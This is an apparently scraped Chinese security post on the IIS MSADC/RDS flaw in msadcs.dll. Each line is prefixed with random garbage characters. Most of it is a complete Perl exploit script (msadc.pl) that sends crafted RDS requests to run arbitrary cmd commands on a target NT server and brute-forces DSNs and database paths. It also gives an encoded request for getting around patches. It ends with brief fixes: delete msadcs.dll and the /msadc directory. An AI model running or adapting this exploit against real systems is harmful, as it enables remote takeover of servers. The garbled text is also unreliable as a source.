IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
1fm4:xHH Y<-h#_ 涉及程序:
FeoI+KA Microsoft NT server
jj_z#6{ *`Swv` 描述:
4l7TrCB 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
bc=,$ :7UC=GKQk 详细:
\@;$xdA$ 如果你没有时间读详细内容的话,就删除:
45. -P c:\Program Files\Common Files\System\Msadc\msadcs.dll
(hNTr(z 有关的安全问题就没有了。
`qnp Y[)b".K 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
p.6C.2q~s] -}Zck1 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
@W6:JO 关于利用ODBC远程漏洞的描述,请参看:
WfpQ uNCM,J!#~ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm /4/'&tY WD#
96V 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
+ Ac.@!X}% http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~k\Dde }A jE- K{ 这里不再论述。
vz5x{W vF@hg)A 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Q,R>dkS (VDY]Q) /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
SW5V:|/ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
NIgqdEu1 #(swVo:+E ]8q#@%v} #将下面这段保存为txt文件,然后: "perl -x 文件名"
[ )3rc}:1 */c4b:s #!perl
Lh%z2 5t #
v+Eub;m # MSADC/RDS 'usage' (aka exploit) script
@~ k4,dJ #
W*S}^6ZT` # by rain.forest.puppy
"| Oj!&0 #
! yqez # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
"Vh3hnS~ # beta test and find errors!
A,67)li3 GsIVx! use Socket; use Getopt::Std;
6_|iXs(& getopts("e:vd:h:XR", \%args);
R !g'zS' `#HtVI print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+t*V7nW f~Y;ZvB if (!defined $args{h} && !defined $args{R}) {
4`yE'%6.} print qq~
ezimQ Usage: msadc.pl -h <host> { -d <delay> -X -v }
!Gob `# r -h <host> = host you want to scan (ip or domain)
]1hyv m3 -d <seconds> = delay between calls, default 1 second
qm^|7m^ -X = dump Index Server path table, if available
O6*2oUKqK -v = verbose
8;6j -e = external dictionary file for step 5
GuK3EM*_ P5Lb)9_Jw Or a -R will resume a command session
L~oy|K67 "<Ozoo1&w ~; exit;}
L4O.= *P1 fGZ56eH: $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
UE9RrfdN if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
W(pq_H' if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
:eIi^K z[ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Z8C~o)n9 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
7Tb[sc' if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
tGE=!qk Cj%n?- if (!defined $args{R}){ $ret = &has_msadc;
%xt;&HE die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Q,nJz*AJ UQZl:DYa print "Please type the NT commandline you want to run (cmd /c assumed):\n"
[Ef6@ . "cmd /c ";
QB
uX#bDV $in=<STDIN>; chomp $in;
Emy=q5ryl $command="cmd /c " . $in ;
b?{MXJ| |L/EH~| O if (defined $args{R}) {&load; exit;}
cwuzi;f >``sM=W at print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
)ifjK6* &try_btcustmr;
:FT x#cZ XHU\;TF print "\nStep 2: Trying to make our own DSN...";
QyghNImp &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
(}g4}A@x b5Q|$E print "\nStep 3: Trying known DSNs...";
hrNB"W|?x &known_dsn;
GYZP?E p* f=k_U[b4> print "\nStep 4: Trying known .mdbs...";
0$A^ .M; &known_mdb;
.n n&K}h gY'-C if (defined $args{e}){
BLN|QaZ print "\nStep 5: Trying dictionary of DSN names...";
3daI_Nx> &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
acrR arIEd VfNa print "Sorry Charley...maybe next time?\n";
Um}f7^fp^l exit;
e Fh7#~m 3Ccy %; ##############################################################################
InI>So%e|< 1 | sub sendraw { # ripped and modded from whisker
Brtsig,4 sleep($delay); # it's a DoS on the server! At least on mine...
SJB^dI**/d my ($pstr)=@_;
NnH]c+ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
NSa6\.W) die("Socket problems\n");
>?Duz+W) if(connect(S,pack "SnA4x8",2,80,$target)){
1:JwqbZKJ select(S); $|=1;
_ amP:h print $pstr; my @in=<S>;
{J1iheuS} select(STDOUT); close(S);
=t^jlb return @in;
O1D|T"@ } else { die("Can't connect...\n"); }}
{E; bT|3z cJMi`PQ; ##############################################################################
}*
\*<d
3 ,ZghV1z sub make_header { # make the HTTP request
[
*Dj7zt: my $msadc=<<EOT
fat;5XL@ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
3eg6 CdT User-Agent: ACTIVEDATA
f8
BZk h Host: $ip
E!'6vDVC: Content-Length: $clen
[~PR\qm Connection: Keep-Alive
Ur]/kij 6P3h955c ADCClientVersion:01.06
I8a3: ) Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
UX+vU@Co[ $xT9e --!ADM!ROX!YOUR!WORLD!
`OfD^Q= Content-Type: application/x-varg
SJ91(K Content-Length: $reqlen
%s497' [^Bjmw[7 EOT
O\CnKNk, ; $msadc=~s/\n/\r\n/g;
Y[l<fbh(} return $msadc;}
^,0Lr$+ ,z<1:st]< ##############################################################################
&|j0GP& 3&>0'h sub make_req { # make the RDS request
wVqp')e my ($switch, $p1, $p2)=@_;
2}=@n*8*d my $req=""; my $t1, $t2, $query, $dsn;
[UXN=
76N T/A2Y+@N; if ($switch==1){ # this is the btcustmr.mdb query
xP_/5N=f $query="Select * from Customers where City=" . make_shell();
*Y?oAVkz $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
4(*PM&'R $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
r;xy/*%Mtj &<x.D]FA] elsif ($switch==2){ # this is general make table query
99.F'Gz $query="create table AZZ (B int, C varchar(10))";
D2g/P8.<A $dsn="$p1";}
d<+hQ\BF, w
>2sr^!y elsif ($switch==3){ # this is general exploit table query
/o%VjP"< $query="select * from AZZ where C=" . make_shell();
obE8iG@H $dsn="$p1";}
}zks@7kf @R}3f6@67 elsif ($switch==4){ # attempt to hork file info from index server
|_+#&x $query="select path from scope()";
<#J5.I 1 $dsn="Provider=MSIDXS;";}
OLPY<ax &8w#
4*W elsif ($switch==5){ # bad query
PW|=IPS $query="select";
k_{?{:X;y $dsn="$p1";}
Fsm6gE`|n pU9.#O $t1= make_unicode($query);
]Zt ]wnL+ $t2= make_unicode($dsn);
Q5ff&CE $req = "\x02\x00\x03\x00";
I 1n,c d[ $req.= "\x08\x00" . pack ("S1", length($t1));
(BFwE@1" $req.= "\x00\x00" . $t1 ;
^D5Jqh)
$req.= "\x08\x00" . pack ("S1", length($t2));
pmUf*u- $req.= "\x00\x00" . $t2 ;
76"4Q! $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
r<vy6 return $req;}
`3i<jZMG PxgJ7d ##############################################################################
-$?t+ "/E `vMhrn sub make_shell { # this makes the shell() statement
p J_+n:_{ return "'|shell(\"$command\")|'";}
~uH_y- S
:8 ##############################################################################
70GBf" nj0sh"~+ sub make_unicode { # quick little function to convert to unicode
l 9
wO x my ($in)=@_; my $out;
$,2T~1tE for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
PcEE`. return $out;}
4xEw2F mE`qA*=? ##############################################################################
Vi: ^bv W^H3 =hZ sub rdo_success { # checks for RDO return success (this is kludge)
.=9WY_@SZ my (@in) = @_; my $base=content_start(@in);
:^Pks R if($in[$base]=~/multipart\/mixed/){
mM72>1~L* return 1 if( $in[$base+10]=~/^\x09\x00/ );}
PWyf3 return 0;}
:u./"[G >xabn*Kq ##############################################################################
#kASy 2t V0v,s^\H sub make_dsn { # this makes a DSN for us
7jIBE my @drives=("c","d","e","f");
A
$gn{ c print "\nMaking DSN: ";
8'zZVX D< foreach $drive (@drives) {
y7M{L8{0 print "$drive: ";
z,4mg6gt my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
'{UKO7 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
] re=8s6 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
E#!!tH`lgg $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
_ Lb"yug return 0 if $2 eq "404"; # not found/doesn't exist
gr*CN< if($2 eq "200") {
;5bd<N foreach $line (@results) {
v8*)^-Fx return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
i-Rn,}v } return 0;}
6ki2/ Q @]vY[O!&; ##############################################################################
EM*I%|n@m P2a5<#_| sub verify_exists {
nq]6S$3
6 my ($page)=@_;
<-!1`@l> my @results=sendraw("GET $page HTTP/1.0\n\n");
Bj1%}B return $results[0];}
UMR ?q0J vUJ;D ##############################################################################
8Rwk
o6x /@k#tdj sub try_btcustmr {
M&j|5UH%. my @drives=("c","d","e","f");
<mE`<-$ my @dirs=("winnt","winnt35","winnt351","win","windows");
X n$ZA- R,G*]/r` foreach $dir (@dirs) {
:R,M Y"( print "$dir -> "; # fun status so you can see progress
Ha `N foreach $drive (@drives) {
nf/?7~3?[ print "$drive: "; # ditto
b/'c
h $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Mg.%&vH\ $reqlenlen=length( "$reqlen" );
N!7}B $clen= 206 + $reqlenlen + $reqlen;
iyl
i/3| hr}f5Z)^v my @results=sendraw(make_header() . make_req(1,$drive,$dir));
&7f8\TG| if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
_ \6v@ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
&
"&s, G n]qh(N> ##############################################################################
&bW,N uqC#h,~
0 sub odbc_error {
Y/kq!)u;%L my (@in)=@_; my $base;
hc3hU my $base = content_start(@in);
ZOqS"3j! j if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
x%=CEe?6 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
FAEF $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]8\I{LR $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
s2{SbOBis return $in[$base+4].$in[$base+5].$in[$base+6];}
Ev5~= ] print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
LigB!M print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
fz=?QEG $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
{siOa%;* G kjfDY: ##############################################################################
172 G 8|i'~BFHs sub verbose {
4w^o ! my ($in)=@_;
$+'H000x return if !$verbose;
T+v*@#iJ_ print STDOUT "\n$in\n";}
WFOJg& HeAXZA, ##############################################################################
dtC@cK/,D ~\_VWXXvIW sub save {
wQ/* f9 my ($p1, $p2, $p3, $p4)=@_;
B-Jd|UE`u open(OUT, ">rds.save") || print "Problem saving parameters...\n";
sgp.;h' print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
'RMUjJ-! close OUT;}
NS[eQ_rT %xg+UW
} ##############################################################################
\vAjg eBrNhE-[G] sub load {
D*%am|QL my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
eWcqf/4?" open(IN,"<rds.save") || die("Couldn't open rds.save\n");
[CI&4) # @p=<IN>; close(IN);
w(Z ?j%b $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
32[}@f2q $target= inet_aton($ip) || die("inet_aton problems");
KdR4<qVV} print "Resuming to $ip ...";
8}B $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
W%!(kN&d if($p[1]==1) {
kh
W. $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
zeHF-_{ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
U>E:
Ub0r my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
fwFJe(. if (rdo_success(@results)){print "Success!\n";}
xol%\$| else { print "failed\n"; verbose(odbc_error(@results));}}
6{y7e L3! elsif ($p[1]==3){
fCr2'+O"b if(run_query("$p[3]")){
t1FtYXv`/ print "Success!\n";} else { print "failed\n"; }}
1Z# $X` elsif ($p[1]==4){
gJ6`Kl985O if(run_query($drvst . "$p[3]")){
LTWkHyx print "Success!\n"; } else { print "failed\n"; }}
V)^Xz8H_ exit;}
,MCTb '=G +`HMl;0m ##############################################################################
E=s,- o+a= sub create_table {
~rb0G*R> my ($in)=@_;
P8d $reqlen=length( make_req(2,$in,"") ) - 28;
+~^S'6yB $reqlenlen=length( "$reqlen" );
n[3z_QI $clen= 206 + $reqlenlen + $reqlen;
,9P-<P my @results=sendraw(make_header() . make_req(2,$in,""));
U**8^:*y#: return 1 if rdo_success(@results);
"6f`hy my $temp= odbc_error(@results); verbose($temp);
+/ukS6>gr return 1 if $temp=~/Table 'AZZ' already exists/;
M~:_^B return 0;}
KZppQ0 ?"x4u#x ##############################################################################
u\*9\G XN df sub known_dsn {
7rjl-FUA~ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
:;+!ID_ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
\;{ ]YX "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
t?GH
V3V "banner", "banners", "ads", "ADCDemo", "ADCTest");
Z1
D u"v7shRp: foreach $dSn (@dsns) {
/ FcRp ," print ".";
9{u8fDm! next if (!is_access("DSN=$dSn"));
{*yvvb if(create_table("DSN=$dSn")){
0JlNUO5Nt print "$dSn successful\n";
3( BL if(run_query("DSN=$dSn")){
X0.H(p#s print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
/ Q1*Vh4 print "Something's borked. Use verbose next time\n";}}} print "\n";}
'}Fe&% yfG;OnkZ ##############################################################################
46:<[0Psl/ uH[WlZ4 sub is_access {
aCG rS{ my ($in)=@_;
+4?Lwp'q $reqlen=length( make_req(5,$in,"") ) - 28;
PIri|ZS $reqlenlen=length( "$reqlen" );
C >*z^6Gz $clen= 206 + $reqlenlen + $reqlen;
`OfhzOp my @results=sendraw(make_header() . make_req(5,$in,""));
NL9.J@"b my $temp= odbc_error(@results);
?v2_7x& verbose($temp); return 1 if ($temp=~/Microsoft Access/);
C]ss' return 0;}
gu
k,GF9p] 5|H;%T3_ ##############################################################################
,!:c6F+ \*$^}8 sub run_query {
>]h{[kU %4 my ($in)=@_;
)CFJXc: $reqlen=length( make_req(3,$in,"") ) - 28;
>XgoN\w $reqlenlen=length( "$reqlen" );
P6gkbtg $clen= 206 + $reqlenlen + $reqlen;
.(@=L1C<}J my @results=sendraw(make_header() . make_req(3,$in,""));
UsE\p9mCuV return 1 if rdo_success(@results);
WyO*8b_
D my $temp= odbc_error(@results); verbose($temp);
(!}N&!t return 0;}
)d3
09O ,?GwA@~$k: ##############################################################################
j
3<Ci {3 ]es|%j 2 sub known_mdb {
uMcI'= my @drives=("c","d","e","f","g");
'm`O34h my @dirs=("winnt","winnt35","winnt351","win","windows");
8~'cP? my $dir, $drive, $mdb;
Ng#psN my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
B"4 3o7C x"2p5T7*> # this is sparse, because I don't know of many
AzU:Dxr>.G my @sysmdbs=( "\\catroot\\icatalog.mdb",
j\uZo.Ot+ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
jX7K-L "\\system32\\certmdb.mdb",
L ]')=J+ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
KXPCkNIN! i2qN 0?n my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
[c?0Q3F "\\cfusion\\cfapps\\forums\\forums_.mdb",
;As~TGiT "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
% S312=w "\\cfusion\\cfapps\\security\\realm_.mdb",
C
@Ts\);^ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
g0,~|. "\\cfusion\\database\\cfexamples.mdb",
, cxqr3
o "\\cfusion\\database\\cfsnippets.mdb",
(qAF2& "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
y_WC"
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Oc)n,D)0 "\\cfusion\\brighttiger\\database\\cleam.mdb",
:,8y8z$+ "\\cfusion\\database\\smpolicy.mdb",
]j&m\'-s "\\cfusion\\database\cypress.mdb",
ioi/`iQR "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
wkt4vE87 "\\website\\cgi-win\\dbsample.mdb",
) 57'< "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
#/qcp|m "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
UynGG@P@ ); #these are just
fk}Raej g foreach $drive (@drives) {
&GH[$( foreach $dir (@dirs){
[<B,6nAl foreach $mdb (@sysmdbs) {
IogLkhWX print ".";
BbB3#/g if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
0]>bNbLB" print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
~A0AB
`7 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
=-dnniKW4 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
DFr$2Y3H } else { print "Something's borked. Use verbose next time\n"; }}}}}
Jk.x^ 8r(Vz foreach $drive (@drives) {
lO@-*m$
foreach $mdb (@mdbs) {
|]kiH^Ap print ".";
_kD5pC = if(create_table($drv . $drive . $dir . $mdb)){
X"Eqhl<t print "\n" . $drive . $dir . $mdb . " successful\n";
SrA6}kS if(run_query($drv . $drive . $dir . $mdb)){
as:=QMV print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
.r/s.g } else { print "Something's borked. Use verbose next time\n"; }}}}
(s'xO~p }
P0UR{tK caEIE0H~ ##############################################################################
n^'d8Y( +9HU&gQ3 sub hork_idx {
U'jmgHq print "\nAttempting to dump Index Server tables...\n";
-n:2US< print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
%[n5mF*` $reqlen=length( make_req(4,"","") ) - 28;
(0`rfYv5.R $reqlenlen=length( "$reqlen" );
puOMtCI $clen= 206 + $reqlenlen + $reqlen;
#7fOH
U8v my @results=sendraw2(make_header() . make_req(4,"",""));
j Hq+/\ if (rdo_success(@results)){
|mhKD#: my $max=@results; my $c; my %d;
oX6Cd:c- for($c=19; $c<$max; $c++){
>uCO=T,| $results[$c]=~s/\x00//g;
D u<P^CE $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
~Dg:siw $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
@.e4~qz\ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:/->m6C`0 $d{"$1$2"}="";}
xEG:KSH foreach $c (keys %d){ print "$c\n"; }
py$Gy-I~[ } else {print "Index server doesn't seem to be installed.\n"; }}
GUQ3XF\ ccv ##############################################################################
0Cc3NNdz o=VZ7] sub dsn_dict {
;$eY#ypx open(IN, "<$args{e}") || die("Can't open external dictionary\n");
bP:u`!p
-i while(<IN>){
q4:zr
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
"4XjABJ4' next if (!is_access("DSN=$dSn"));
!@V]H if(create_table("DSN=$dSn")){
s\'t=}0q print "$dSn successful\n";
-/8V2dv3 if(run_query("DSN=$dSn")){
qA}l[:F+# print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
, wk}[MF print "Something's borked. Use verbose next time\n";}}}
n(A;:)W{ print "\n"; close(IN);}
a aVq>$G3 b?k,_;\ ##############################################################################
m<Gd 6V5 s#~VN;-I sub sendraw2 { # ripped and modded from whisker
&IQNsJL!e sleep($delay); # it's a DoS on the server! At least on mine...
r0z8? my ($pstr)=@_;
.yDR2sW socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^Oj^7.T+ die("Socket problems\n");
6heK8*.T if(connect(S,pack "SnA4x8",2,80,$target)){
H(
LK}[ print "Connected. Getting data";
&*Z)[Bl open(OUT,">raw.out"); my @in;
uvDOTRf select(S); $|=1; print $pstr;
*o=Z~U9z while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
x>i = close(OUT); select(STDOUT); close(S); return @in;
}T%E;m- } else { die("Can't connect...\n"); }}
1%@i4 gC6Gm':c ##############################################################################
yFo8x[ TGpdl`k\T sub content_start { # this will take in the server headers
tm;\m!^X{ my (@in)=@_; my $c;
TPJuS)TU9 for ($c=1;$c<500;$c++) {
uxW |&q if($in[$c] =~/^\x0d\x0a/){
;{m;CKHI if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
sVO|Ghy65 else { return $c+1; }}}
+MS*YpPW return -1;} # it should never get here actually
fN`Prs A -6q7ze{@ ##############################################################################
BT:b&"AR[ _J>Ik2EF sub funky {
:>y5'q@R my (@in)=@_; my $error=odbc_error(@in);
dn5t7D^x if($error=~/ADO could not find the specified provider/){
p3%cb?G%w print "\nServer returned an ADO miscofiguration message\nAborting.\n";
V(G{_>> exit;}
*{fZA;<R if($error=~/A Handler is required/){
}Ej^"T:H_; print "\nServer has custom handler filters (they most likely are patched)\n";
zPvTRW~H\ exit;}
zll?/|% if($error=~/specified Handler has denied Access/){
0s4]eEXH print "\nServer has custom handler filters (they most likely are patched)\n";
gYL#} ) g exit;}}
&S^a_L: H8c -/ ##############################################################################
|$T?P*pI. LNgFk%EH sub has_msadc {
Dhft[mvo my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
<SRSJJR|( my $base=content_start(@results);
]:6IW: return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
.v) A|{:2 return 0;}
7r3EMX\#Qm <l)I%1T_c ########################
"jq F &>@EfW]( Kn+B):OY+ 解决方案:
Xp^71A?> 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
btf]~YN 2、移除web 目录: /msadc